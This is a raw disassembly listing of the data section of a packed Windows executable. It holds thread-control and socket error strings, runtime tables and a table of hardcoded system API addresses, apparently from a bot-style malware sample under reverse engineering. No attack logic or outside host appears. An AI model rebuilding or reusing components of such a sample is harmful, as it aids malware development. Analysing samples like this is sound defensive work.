unk_41FB94 db 1Fh ; DATA XREF: sub_40BB81+6Ao
db 2, 74h, 2
db 1Fh
db 66h, 74h, 70h
db 20h
db 2, 0BBh, 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
aOctet db 'octet',0 ; DATA XREF: sub_40BB81+Fo
align 4
aThreadList db '-[Thread List]-',0 ; DATA XREF: sub_40C11F+10o
aSNoSThreadFoun db '%s: No %s thread found.',0 ; DATA XREF: sub_40C2EA+51o
aSSStopped_DThr db '%s: %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40C2EA+35o
align 10h
dword_41FC30 dd 0D0896439h ; DATA XREF: sub_40CB55+4w sub_40CB5Fr ...
align 10h
dword_41FC40 dd 173Fh ; DATA XREF: sub_40CDEA+Dr
dd 9875h, 9873h
off_41FC4C dd offset sub_40CEB9 ; DATA XREF: sub_40E785r
dd offset nullsub_2
dd offset nullsub_2
dword_41FC58 dd 1B3Fh ; DATA XREF: sub_40CF33+Dr
dword_41FC5C dd 19930520h, 4 dup(0) ; DATA XREF: sub_40D3B5+2o
; sub_40D3BE+2o
off_41FC70 dd offset sub_40E7C3 ; DATA XREF: sub_40EC7A+1Cr
dword_41FC74 dd 2 ; DATA XREF: sub_414640+Er
; sub_414679+46r ...
off_41FC78 dd offset aNull_0 ; DATA XREF: sub_40EDD8:loc_40F13Cr
; sub_40EDD8+457r
; "(null)"
off_41FC7C dd offset aNull ; DATA XREF: sub_40EDD8+259r
; "(null)"
dword_41FC80 dd 0D2D0920h, 5Dh ; DATA XREF: sub_40F5E2:loc_40FB49o
dword_41FC88 dd 5Dh, 10h ; DATA XREF: sub_40F5E2:loc_40FA39o
off_41FC90 dd offset off_41FC90 ; DATA XREF: sub_410DC7+Do
; sub_410DC7+69o ...
off_41FC94 dd offset off_41FC90 ; DATA XREF: sub_410DC7:loc_410E47r
; sub_410DC7+89w ...
dd offset dword_41FCA8
dd offset dword_41FCA8
dword_41FCA0 dd 0FFFFFFFFh ; DATA XREF: sub_410DC7r
; sub_410F0B:loc_410F58w
dd 0FFFFFFFFh
dword_41FCA8 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: .nsp0:0041FC98o
; .nsp0:0041FC9Co
off_421CB0 dd offset off_41FC90 ; DATA XREF: sub_410F0B+15r
; sub_410F0B+20w ...
dword_421CB4 dd 1E0h ; DATA XREF: sub_40CD0D:loc_40CD49r
; sub_40DB08+185r ...
dword_421CB8 dd 14h ; DATA XREF: sub_411AF7+2o
off_421CBC dd offset aExp ; DATA XREF: sub_411AF7:loc_411B14r
; "exp"
dd 1Dh, 41879Ch, 1Ah, 418798h, 1Bh, 418790h, 1Fh, 418788h
dd 13h, 418780h, 21h, 418778h, 0Eh, 418770h, 0Dh, 418768h
dd 0Fh, 418760h, 10h, 418758h, 5, 418750h, 1Eh, 41874Ch
dd 12h, 418748h, 20h, 418744h, 0Ch, 41873Ch, 0Bh, 418734h
dd 15h, 41872Ch, 1Ch, 418724h, 19h, 41871Ch, 11h, 418714h
dd 18h, 41870Ch, 16h, 418704h, 17h, 4186FCh, 22h, 4186F8h
dd 23h, 4186F4h, 24h, 4186F0h
dbl_421D90 dq 1.797693134862316e308 ; DATA XREF: sub_411832+B7r
; sub_411832:loc_411919r ...
dd 0
dd 0FFF80000h
dbl_421DA0 dq 1.797693134862316e308 ; DATA XREF: sub_411832+92r
; sub_411832:loc_4118F1r ...
dd 0
dd 100000h, 0
dd 80000000h
tbyte_421DB8 dt 2.3562723457267347066e313 ; DATA XREF: sub_411CDF+Dr
; sub_411CDF+1Fr
align 4
tbyte_421DC4 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_411CDF+31r
align 10h
off_421DD0 dd offset sub_412173 ; DATA XREF: sub_40CED1+Fw
; sub_40EDD8+3AAr
off_421DD4 dd offset sub_411E08 ; DATA XREF: sub_40CED1+5w
; sub_40EDD8+3E2r
off_421DD8 dd offset sub_411E6E ; DATA XREF: sub_40CED1+14w
; sub_40F5E2+430r
off_421DDC dd offset sub_411DAE ; DATA XREF: sub_40CED1+1Ew
; sub_40EDD8+3CBr
off_421DE0 dd offset sub_411E56 ; DATA XREF: sub_40CED1+28w
off_421DE4 dd offset sub_412173 ; DATA XREF: sub_40CED1+32w
dd offset sub_41537C
align 10h
dd offset sub_412A3C
off_421DF4 dd offset sub_412A3C ; DATA XREF: sub_412A92+29r
off_421DF8 dd offset word_421E02 ; DATA XREF: sub_40D934+23r
; sub_40D934:loc_40D995r ...
dd offset word_421E02
db 2 dup(0)
word_421E02 dw 20h ; DATA XREF: sub_415FD3+18r
; .nsp0:off_421DF8o ...
unicode 0, < ((((( H>
dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_422004 dd 1 ; DATA XREF: sub_40D934:loc_40D93Cr
; sub_40D934:loc_40D980r ...
byte_422008 db 2Eh ; DATA XREF: sub_40F5E2:loc_40F8D6r
; sub_40F5E2+311r ...
align 4
dd 1
dword_422010 dd 1 ; DATA XREF: sub_413260+Co
dword_422014 dd 16h ; DATA XREF: sub_413260:loc_413295r
dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2
dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h
dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h
dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
byte_422178 db 1 ; DATA XREF: sub_413260+19o
; sub_413679+E1r
db 2, 4, 8
align 10h
dword_422180 dd 3A4h ; DATA XREF: sub_413679+2Fo
dword_422184 dd 82798260h, 21h, 0 ; DATA XREF: sub_413679+11Dr
dword_422190 dd 0DFA6h ; DATA XREF: sub_413679+C0r
align 8
dd 0A5A1h, 0
dd 0FCE09F81h, 0
dd 0FC807E40h, 0
dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE40h, 0
dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
dd 0FE81h, 0
dd 0FE41h, 0
dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
dd 0FE81h, 0
dd 0FEA17E40h, 0
dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_422270 dd 0C0000005h ; DATA XREF: sub_413679+3Co
; sub_413EE0+Ar ...
dword_422274 dd 0Bh ; DATA XREF: sub_416BC8+Ar
dd 0
dd 0C000001Dh, 4, 0
dd 0C0000096h, 4, 0
db 8Dh, 0
dw 0C000h
dd 8, 0
dd 0C000008Eh, 8, 0
dd 0C000008Fh, 8, 0
db 90h
db 2 dup(0), 0C0h
dd 8, 0
dd 0C0000091h, 8, 0
dd 0C0000092h, 8, 0
dd 0C0000093h, 8, 0
dword_4222E8 dd 3 ; DATA XREF: sub_413D9F+58r
; sub_416A9B+C8r
dword_4222EC dd 7 ; DATA XREF: sub_413D9F+5Er
; sub_416A9B+CDr
dword_4222F0 dd 0Ah ; DATA XREF: sub_413EE0+4r
; sub_416BC8+4r
dword_4222F4 dd 8Ch ; DATA XREF: sub_413D9F+82r
; sub_413D9F+8Fw ...
dword_4222F8 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_40ECC3:loc_40ED80o
; sub_412DA9:loc_412E2Ao
dword_422300 dd 2 ; DATA XREF: sub_414679+Eo
; sub_414679+28r
off_422304 dd offset aR6002FloatingP ; DATA XREF: sub_414679+FCr
; sub_414679+12Dr
; "R6002\r\n- floating point not loaded\r\n"
dd 8, 418AC0h, 9, 418A94h, 0Ah, 418A70h, 10h, 418A44h
dd 11h, 418A14h, 12h, 4189F0h, 13h, 4189C4h, 18h, 41898Ch
dd 19h, 418964h, 1Ah, 41892Ch, 1Bh, 4188F4h, 1Ch, 4188CCh
dd 78h, 4188BCh, 79h, 4188ACh, 7Ah, 41889Ch, 0FCh, 418898h
dd 0FFh, 418888h
off_422390 dd offset dword_4820C0 ; DATA XREF: sub_414679+1Bo
; sub_4149E3+55o
align 8
dd offset dword_4820C0
dd 101h
dword_4223A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4149E3+72o
dd 1000h, 0
dword_4223B0 dd 3 dup(0) ; DATA XREF: sub_40ECC3+50o
; sub_413AE3+12o
dd 2, 0FFFFFFFFh, 3 dup(0)
dword_4223D0 dd 3 dup(0) ; DATA XREF: sub_40ECC3+58o
; sub_413AE3:loc_413B01o
dd 2, 0FFFFFFFFh, 7 dup(0)
dword_422400 dd 84h dup(0) ; DATA XREF: sub_4149E3+9Bo
dword_422610 dd 2694h ; DATA XREF: sub_411494+3r
; sub_4114E7+46r ...
align 8
dword_422618 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_41515Co
dword_422630 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_415172o
dword_422648 dd 7080h ; DATA XREF: sub_413393+76r
; sub_415A78+5Ew ...
dword_42264C dd 1 ; DATA XREF: sub_413393+98r
; sub_415A78+8Bw ...
dword_422650 dd 0FFFFF1F0h ; DATA XREF: sub_413393:loc_413445r
; sub_415A78+94w ...
dword_422654 dd 545350h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4226D4o
dword_422694 dd 544450h, 0Fh dup(0) ; DATA XREF: .nsp0:off_4226D8o
off_4226D4 dd offset dword_422654 ; DATA XREF: sub_415A78+BAr
; sub_415A78+D9r ...
off_4226D8 dd offset dword_422694 ; DATA XREF: sub_415A78+F4r
; sub_415A78+11Br ...
align 10h
dword_4226E0 dd 0FFFFFFFFh ; DATA XREF: sub_415A78+1Dw
; sub_415CD6+1Er ...
dword_4226E4 dd 0 ; DATA XREF: sub_415CD6:loc_415E0Ar
; sub_415E82+BFw
dword_4226E8 dd 0 ; DATA XREF: sub_415CD6+192r
; sub_415E82+E0w
align 10h
dword_4226F0 dd 0FFFFFFFFh ; DATA XREF: sub_415A78+17w
; sub_415CD6+26r ...
dword_4226F4 dd 0 ; DATA XREF: sub_415CD6+13Ar
; sub_415E82+EAw ...
dword_4226F8 dd 0 ; DATA XREF: sub_415CD6+1A1r
; sub_415E82+23r ...
dword_4226FC dd 0FFFFFFFFh ; DATA XREF: sub_415E82+84r
dd 1Eh, 3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h, 0F3h, 111h, 130h
dd 14Eh
dword_42272C dd 16Dh ; DATA XREF: sub_413393+2Ar
; sub_415E82+2Er ...
dword_422730 dd 0FFFFFFFFh ; DATA XREF: sub_415E82:loc_415F0Er
dd 1Eh, 3Ah, 59h, 77h, 96h, 0B4h, 0D3h, 0F2h, 110h, 12Fh
dd 14Dh, 16Ch, 0
dword_422768 dd 2 dup(0) ; DATA XREF: sub_416FF0+7o
dd 4002A000h, 2 dup(0)
dd 4005C800h, 2 dup(0)
dd 4008FA00h, 2 dup(0)
dd 400C9C40h, 2 dup(0)
; ---------------------------------------------------------------------------
push eax
retn
; ---------------------------------------------------------------------------
dw 400Fh
dd 2 dup(0)
dd 4012F424h, 0
dd 80000000h, 40169896h, 0
dd 20000000h, 4019BEBCh, 0
dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h
dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h
dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h
dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h
dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h
dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h
dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h
dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh
dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h
dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh
dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh
dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch
dd 52028A20h, 7525C460h, 0
dword_4228C8 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h
; DATA XREF: sub_416FF0+1Bo
dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h
dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h
dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah
dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh
dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh
dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh
dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h
dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh
dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h
dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h
dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h
dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h
dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h
dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh
dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h
dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h
dd 4C8D2CEh, 0AD8A6DDh, 0
off_422A28 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418CD8o
; .nsp0:00418E04o ...
align 10h
a_?avexception@ db '.?AVexception@@',0
off_422A40 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418CF0o
; .nsp0:00418D84o ...
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
off_422A60 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418D08o
; .nsp0:00418D4Co ...
align 8
a_?avlength_err db '.?AVlength_error@std@@',0
align 10h
off_422A80 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418D90o
; .nsp0:00418DD4o ...
align 8
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
off_422AA0 dd offset off_418CB0 ; DATA XREF: .nsp0:off_418E10o
; .nsp0:00418E4Co
align 8
a_?avtype_info@ db '.?AVtype_info@@',0
dd offset sub_41537C
align 10h
dword_422AC0 dd 0 ; DATA XREF: sub_4010CA+18r
; sub_401412+92w ...
dword_422AC4 dd 0 ; DATA XREF: sub_40154B+19Cr
; sub_401704+D9w ...
dd 4AEh dup(0)
dword_423D80 dd 6 dup(0) ; DATA XREF: sub_40154B+95o
; sub_401704+65o ...
dword_423D98 dd 0 ; DATA XREF: sub_401141+82w
; sub_401141+FFo
dword_423D9C dd 41h dup(0) ; DATA XREF: sub_401141+41o
dword_423EA0 dd 41h dup(0) ; DATA XREF: sub_401141+63o
dword_423FA4 dd 0 ; DATA XREF: sub_401141+F5w
; sub_401141+111r
dword_423FA8 dd 0 ; DATA XREF: sub_401141+52w
dword_423FAC dd 0 ; DATA XREF: sub_401141+4Dw
; sub_401141+D2r
dword_423FB0 dd 20h dup(0) ; DATA XREF: sub_401141+9Ao
; sub_401141+B7o
dword_424030 dd 0 ; DATA XREF: sub_401141+8Fw
dword_424034 dd 0 ; DATA XREF: sub_401141+A4w
; sub_401141+C1w
dword_424038 dd 0 ; DATA XREF: sub_401141:loc_401307r
align 10h
dword_424040 dd 0 ; DATA XREF: sub_401141+190w
; sub_401141+222o
dword_424044 dd 41h dup(0) ; DATA XREF: sub_401141+152o
dword_424148 dd 41h dup(0) ; DATA XREF: sub_401141+171o
dword_42424C dd 0 ; DATA XREF: sub_401141+218w
; sub_401141+234r
dword_424250 dd 0 ; DATA XREF: sub_401141+160w
dword_424254 dd 0 ; DATA XREF: sub_401141+1F5r
dword_424258 dd 20h dup(0) ; DATA XREF: sub_401141+1A8o
; sub_401141+1DAo
dword_4242D8 dd 0 ; DATA XREF: sub_401141+19Dw
dword_4242DC dd 0 ; DATA XREF: sub_401141+1B2w
; sub_401141+1E4w
dword_4242E0 dd 0 ; DATA XREF: sub_401141:loc_4013C0r
dword_4242E4 dd 2 dup(0) ; DATA XREF: sub_401FE1+68o
dword_4242EC dd 0 ; DATA XREF: sub_401A91+13o
; sub_4077FD+39D6o ...
byte_4242F0 db 0 ; DATA XREF: sub_4022FD+10o
; sub_4032EE+438o ...
align 8
dword_4242F8 dd 2400h dup(0) ; DATA XREF: sub_403145+1Do
dword_42D2F8 dd 0Dh dup(0) ; DATA XREF: sub_403145+13o
; sub_403804+Fo
dword_42D32C dd 0 ; DATA XREF: sub_403B83+C8o
dword_42D330 dd 0 ; DATA XREF: sub_4043F8+2Aw
; sub_4043F8+51r ...
dword_42D334 dd 0 ; DATA XREF: sub_4023B8+45r
; sub_402E09+ACr ...
dd 107h dup(0)
dword_42D754 dd 77C72C6Bh ; DATA XREF: sub_4045F0+42Fw
; sub_4045F0+473r
dword_42D758 dd 77EBA994h ; DATA XREF: sub_4045F0+65w
; sub_405D93+EEr
dword_42D75C dd 7622A3F4h ; DATA XREF: sub_4045F0+793w
; sub_4045F0+808r ...
dword_42D760 dd 71C45229h ; DATA XREF: sub_4045F0+960w
; sub_4045F0+9BEr
dword_42D764 dd 71C24870h ; DATA XREF: sub_4045F0+912w
; sub_4045F0+98Er ...
dword_42D768 dd 77C71BB0h ; DATA XREF: sub_4045F0+415w
; sub_4045F0+463r
dword_42D76C dd 71C4502Ch ; DATA XREF: sub_4045F0+953w
; sub_4045F0+9B6r
dword_42D770 dd 77DE801Bh ; DATA XREF: sub_4045F0+2FAw
; sub_4045F0+34Fr
dword_42D774 dd 77DDACABh ; DATA XREF: sub_4045F0+397w
; sub_40B807+11Er
dword_42D778 dd 77DE8075h ; DATA XREF: sub_4045F0+307w
; sub_4045F0+357r
dword_42D77C dd 77DD7496h ; DATA XREF: sub_4045F0+348w
dword_42D780 dd 71AB1B7Bh ; DATA XREF: sub_4045F0+4E2w
dword_42D784 dd 77E686CCh ; DATA XREF: sub_4038CB+1Br
; sub_4045F0+72w ...
dword_42D788 dd 71C2498Bh ; DATA XREF: sub_4045F0+905w
; sub_4045F0+981r ...
dword_42D78C dd 77DDAB2Fh ; DATA XREF: sub_4045F0+32Ew
; sub_4045F0+36Fr
dword_42D790 dd 7620E8C3h ; DATA XREF: sub_4045F0+7E1w
; sub_4045F0+834r
dword_42D794 dd 77DD23D7h ; DATA XREF: sub_4045F0+24Bw
; sub_4045F0+27Cr
dword_42D798 dd 76214750h ; DATA XREF: sub_4032EE+3Ar
; sub_4045F0+7D4w ...
dword_42D79C dd 77E6D75Bh ; DATA XREF: sub_4045F0+B3w
dword_42D7A0 dd 7620BD61h ; DATA XREF: sub_4032EE+109r
; sub_4045F0+7EEw ...
dword_42D7A4 dd 71AB60C9h ; DATA XREF: sub_4045F0+4D5w
; sub_4045F0+658r ...
dword_42D7A8 dd 77EBA6E9h ; DATA XREF: sub_4045F0+58w
; sub_4045F0+CAr ...
dword_42D7AC dd 76D62A58h ; DATA XREF: sub_4045F0+8BCw
; sub_405985+11Ar
dword_42D7B0 dd 76F36EAAh ; DATA XREF: sub_4045F0+A0Cw
; sub_4045F0+A13r ...
dword_42D7B4 dd 77E802FCh ; DATA XREF: sub_4045F0+A6w
; sub_4045F0+F2r
dword_42D7B8 dd 77C75455h ; DATA XREF: sub_4045F0+408w
; sub_4045F0+45Br
dword_42D7BC dd 71AB12A7h ; DATA XREF: sub_4013CA+20r
; sub_4045F0+57Ew ...
dword_42D7C0 dd 71C574FAh ; DATA XREF: sub_4045F0+946w
; sub_4045F0+9AEr
dword_42D7C4 dd 71AB1746h ; DATA XREF: sub_4045F0+571w
; sub_4045F0+6DCr
dword_42D7C8 dd 71B28D0Dh ; DATA XREF: sub_4045F0+AC7w
dword_42D7CC dd 762211EFh ; DATA XREF: sub_4045F0+786w
; sub_4045F0+7F5r ...
dword_42D7D0 dd 77D902E3h ; DATA XREF: sub_4045F0+1B3w
; sub_4054F9+15r
dword_42D7D4 dd 71C2FA86h ; DATA XREF: sub_4045F0+91Fw
; sub_4045F0+996r ...
dword_42D7D8 dd 77DE1291h ; DATA XREF: sub_4045F0+314w
; sub_4045F0+35Fr
dword_42D7DC dd 77E2C1B3h ; DATA XREF: sub_4045F0+321w
; sub_4045F0+367r
dword_42D7E0 dd 71ABF628h ; DATA XREF: sub_4045F0+634w
dword_42D7E4 dd 71AB1836h ; DATA XREF: sub_4032EE+459r
; sub_403B83+1Dr ...
dword_42D7E8 dd 77C72889h ; DATA XREF: sub_4045F0+43Cw
dword_42D7EC dd 71C453F8h ; DATA XREF: sub_4045F0+96Dw
; sub_4045F0+9C6r
dword_42D7F0 dd 77DD5C55h ; DATA XREF: sub_4031BC+55r
; sub_4045F0+258w ...
dword_42D7F4 dd 77E96645h ; DATA XREF: sub_403B00+25r
; sub_403B00+39r ...
dword_42D7F8 dd 77428B97h ; DATA XREF: sub_4032EE+331r
; sub_4045F0+B14w ...
dword_42D7FC dd 71AB41DAh ; DATA XREF: sub_4045F0+4BBw
; sub_4045F0+63Br ...
dword_42D800 dd 762059A3h ; DATA XREF: sub_4045F0+7ADw
; sub_4045F0+818r
dword_42D804 dd 71C4A1B4h ; DATA XREF: sub_4045F0+92Cw
; sub_4045F0+99Er
dword_42D808 dd 1F7CD214h ; DATA XREF: sub_4045F0+B85w
; sub_4045F0+BB6r
dword_42D80C dd 76D629BBh ; DATA XREF: sub_4045F0+8A2w
; sub_4045F0+8B6r ...
dword_42D810 dd 1F7B9D96h ; DATA XREF: sub_4045F0+B9Fw
dword_42D814 dd 71AB1740h ; DATA XREF: sub_4045F0+4FCw
; sub_4045F0+670r ...
dword_42D818 dd 7620AFB6h ; DATA XREF: sub_4045F0+7C7w
; sub_4045F0+7FBr
dword_42D81C dd 77D45B19h ; DATA XREF: sub_4045F0+172w
; sub_4045F0+1C2r
dword_42D820 dd 71AB157Eh ; DATA XREF: sub_4045F0+600w
; sub_4045F0+72Cr ...
dword_42D824 dd 71AB3E5Dh ; DATA XREF: sub_4014AE+59r
; sub_4023B8+F4r ...
dword_42D828 dd 71AB14DCh ; DATA XREF: sub_4045F0+4EFw
; sub_4045F0+664r
dword_42D82C dd 0CC0004h ; DATA XREF: sub_4032EE+34r
; sub_4045F0+863w ...
dword_42D830 dd 77DD590Bh ; DATA XREF: sub_4031BC+2Ar
; sub_4045F0+231w ...
dword_42D834 dd 71ABD755h ; DATA XREF: sub_4045F0+627w
; sub_4045F0+744r ...
dword_42D838 dd 77DF7311h ; DATA XREF: sub_4045F0+2B5w
; sub_4045F0+2C9r ...
dword_42D83C dd 77DDA2AFh ; DATA XREF: sub_4045F0+33Bw
; sub_4045F0+377r
dword_42D840 dd 1F7CD927h ; DATA XREF: sub_4045F0+B78w
; sub_4045F0+BAEr
dword_42D844 dd 76206853h ; DATA XREF: sub_4045F0+7A0w
; sub_4045F0+810r
dword_42D848 dd 77D5E310h ; DATA XREF: sub_4045F0+18Cw
; sub_4045F0+1D2r ...
dword_42D84C dd 76206B7Fh ; DATA XREF: sub_4045F0+7BAw
; sub_4045F0+820r
dword_42D850 dd 71AB1444h ; DATA XREF: sub_4045F0+5ACw
; sub_4045F0+6FCr ...
dword_42D854 dd 77DD189Ah ; DATA XREF: sub_4031BC+5Er
; sub_4045F0+265w ...
dword_42D858 dd 71AB3F8Dh ; DATA XREF: sub_4045F0+5F3w
; sub_4045F0+724r ...
dword_42D85C dd 77DD5D20h ; DATA XREF: sub_4045F0+2A8w
; sub_4045F0+2BCr ...
dword_42D860 dd 71AB1890h ; DATA XREF: sub_4014AE+82r
; sub_4045F0+5CCw ...
dword_42D864 dd 77C76B34h ; DATA XREF: sub_4045F0+3D4w
; sub_4045F0+436r
dword_42D868 dd 77D5E38Ch ; DATA XREF: sub_4045F0+199w
; sub_4045F0+1DAr ...
dword_42D86C dd 77DDA20Bh ; DATA XREF: sub_4045F0+2EDw
; sub_4045F0+342r
dword_42D870 dd 76F36EEBh ; DATA XREF: sub_4045F0+A19w
dword_42D874 dd 71AB12A7h ; DATA XREF: sub_4013CA+2Br
; sub_401F9C+7r ...
dword_42D878 dd 71AB1746h ; DATA XREF: sub_4014AE+38r
; sub_4023B8+D6r ...
dword_42D87C dd 77EBA595h ; DATA XREF: sub_4045F0+4Bw
; sub_4045F0+C2r ...
dword_42D880 dd 77C7531Dh ; DATA XREF: sub_4045F0+3FBw
; sub_4045F0+453r
dword_42D884 dd 77D4BDCAh ; DATA XREF: sub_4045F0+165w
; sub_4045F0+1BAr ...
dword_42D888 dd 71C3516Ah ; DATA XREF: sub_4045F0+987w
dword_42D88C dd 71AB32CAh ; DATA XREF: sub_4045F0+60Dw
; sub_4045F0+734r
dword_42D890 dd 71AB5690h ; DATA XREF: sub_401F1D+75r
; sub_402E09+79r ...
dword_42D894 dd 1F7CB8F8h ; DATA XREF: sub_4045F0+B92w
; sub_4045F0+BBEr
dword_42D898 dd 77EBB1E7h ; DATA XREF: sub_4045F0+3Ew
; sub_4045F0+BAr ...
dword_42D89C dd 77DD59F0h ; DATA XREF: sub_4031BC+49r
; sub_4045F0+23Ew ...
dword_42D8A0 dd 71AB5DE2h ; DATA XREF: sub_4045F0+5D9w
; sub_4045F0+714r ...
dword_42D8A4 dd 71AB3ECEh ; DATA XREF: sub_4045F0+5BFw
; sub_4045F0+704r ...
dword_42D8A8 dd 76204E4Dh ; DATA XREF: sub_4032EE+4C9r
; sub_4045F0+801w
dword_42D8AC dd 0 ; DATA XREF: sub_4045F0+112w
dword_42D8B0 dd 1F7D886Ah ; DATA XREF: sub_4045F0+B5Ew
; sub_4045F0+B99r
dword_42D8B4 dd 71AB12F8h ; DATA XREF: sub_401704+2Cr
; sub_4023B8+E4r ...
dword_42D8B8 dd 77C76551h ; DATA XREF: sub_4045F0+3E1w
; sub_4045F0+443r
dword_42D8BC dd 77C729E2h ; DATA XREF: sub_4045F0+422w
; sub_4045F0+46Br
dword_42D8C0 dd 77C7212Fh ; DATA XREF: sub_4045F0+3EEw
; sub_4045F0+44Br
dword_42D8C4 dd 71AB1AF4h ; DATA XREF: sub_401F9C+1Br
; sub_401F9C+35r ...
dword_42D8C8 dd 77D5E303h ; DATA XREF: sub_4045F0+1A6w
; sub_4045F0+1E2r ...
dword_42D8CC dd 71C4576Ch ; DATA XREF: sub_4045F0+97Aw
; sub_4045F0+9CEr
dword_42D8D0 dd 77D4702Fh ; DATA XREF: sub_4045F0+158w
; sub_4045F0+1ADr ...
dword_42D8D4 dd 77E6C0E3h ; DATA XREF: sub_403882+4r
; sub_4045F0+8Cw ...
dword_42D8D8 dd 71AB1ED3h ; DATA XREF: sub_4045F0+598w
; sub_4045F0+6ECr ...
dword_42D8DC dd 71B2A381h ; DATA XREF: sub_4045F0+ABAw
; sub_4045F0+AD6r
dword_42D8E0 dd 77DDA595h ; DATA XREF: sub_4045F0+2C2w
; sub_405D28+55r
dword_42D8E4 dd 77DD22EAh ; DATA XREF: sub_4045F0+224w
; sub_4045F0+25Fr ...
dword_42D8E8 dd 773F97B0h ; DATA XREF: sub_4045F0+B21w
dword_42D8EC dd 76D67A29h ; DATA XREF: sub_4045F0+A63w
; sub_405811+8Fr
dword_42D8F0 dd 76D674FAh ; DATA XREF: sub_4045F0+A56w
; sub_4045F0+A5Dr ...
dword_42D8F4 dd 71AB3C22h ; DATA XREF: sub_4014AE+18r
; sub_402E09+44r ...
dword_42D8F8 dd 71AB2BBFh ; DATA XREF: sub_4045F0+61Aw
; sub_4045F0+73Cr ...
dword_42D8FC dd 1F7BA3A9h ; DATA XREF: sub_4045F0+B6Bw
; sub_4045F0+BA6r
dword_42D900 dd 71AB401Ch ; DATA XREF: sub_4010CA+1Fr
; sub_40154B+E1r ...
dword_42D904 dd 71C214BAh ; DATA XREF: sub_4045F0+939w
; sub_4045F0+9A6r ...
dword_42D908 dd 71AB868Dh ; DATA XREF: sub_4045F0+5E6w
; sub_4045F0+71Cr ...
dword_42D90C dd 71AB1A6Dh ; DATA XREF: sub_4014AE+8Br
; sub_4023B8+185r ...
dword_42D910 dd 71AB155Ah ; DATA XREF: sub_4014AE+4Cr
; sub_4045F0+523w ...
dword_42D914 dd 71B22C25h ; DATA XREF: sub_4045F0+AADw
; sub_4045F0+ACEr
